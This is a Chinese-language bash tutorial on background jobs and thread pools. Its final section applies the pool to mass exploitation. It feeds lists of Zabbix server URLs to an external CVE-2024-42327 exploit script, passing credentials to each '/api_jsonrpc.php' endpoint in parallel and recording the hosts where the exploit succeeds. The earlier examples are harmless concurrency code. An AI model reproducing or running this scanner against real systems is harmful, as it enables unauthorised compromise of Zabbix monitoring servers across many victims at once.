一般多线程
#!/bin/bash
function task {
echo "Starting task $1"
sleep $1
echo "Task $1 completed"
}
# 启动多个后台任务
task 1 &
task 2 &
task 3 &
# 等待所有后台任务完成
wait
echo "All tasks completed"
线程池的实现
#!/bin/bash
# 定义任务函数
function task {
local id=$1
local duration=$2
echo "Task $id started, will run for $duration seconds"
sleep $duration
echo "Task $id completed"
}
# 任务队列(这里定义任务的id和运行时长)
tasks=(
"1 5"
"2 3"
"3 2"
"4 7"
"5 1"
)
# 定义线程池大小
THREADS=3
# 创建一个函数来管理线程池
function run_pool {
local -n tasks=$1
local threads=$2
local current_jobs=0
# 循环处理任务
for task_info in "${tasks[@]}"; do
# 检查当前正在运行的任务数量
while (( current_jobs >= threads )); do
# 等待某个任务完成
wait -n
(( current_jobs-- ))
done
# 启动新任务
{
task $task_info
} &
(( current_jobs++ ))
done
# 等待所有任务完成
wait
}
# 调用线程池管理函数
run_pool tasks $THREADS
echo "All tasks completed"
线程池的实际应用
#!/bin/bash
###CVE-2024-42327###
zabbixs=zabbix_http.txt
zabbixs2=zabbix_https.txt
threads=10
function check {
local url=$1
command="python cve-2024-42327.py -u $url/api_jsonrpc.php -n \"sesmof\" -p \"Admin123\""
echo $command
output=$($command 2>&1)
if echo "$output" | grep -q "successOK" ; then
echo "匹配成功$url"
exit 0
else
echo $output
echo "."
fi
}
function run_pool {
local threads=$1
shift #用于左移命令行参数。
local tasks=("$@")
local current_jobs=0
# 循环处理任务
for url in "${tasks[@]}"; do
# 检查当前正在运行的任务数量
while (( current_jobs >= threads )); do
# 等待某个任务完成
wait -n
(( current_jobs-- ))
done
# 启动新任务
{
# echo "$url" $current_jobs
# sleep 3
check $url
} &
(( current_jobs++ ))
done
# 等待所有任务完成
wait
}
function main {
file=$1
local tasks=() # 用于存储任务
# 使用while read循环逐行读取文件
while IFS= read -r url; do
# echo "收集任务: $url"
tasks+=("$url") # 收集URL任务
done < "$file"
#echo -e "\e[32mtasks: ${tasks[@]}\e[0m"
run_pool $threads "${tasks[@]}"
}
main $zabbixs2
main $zabbixs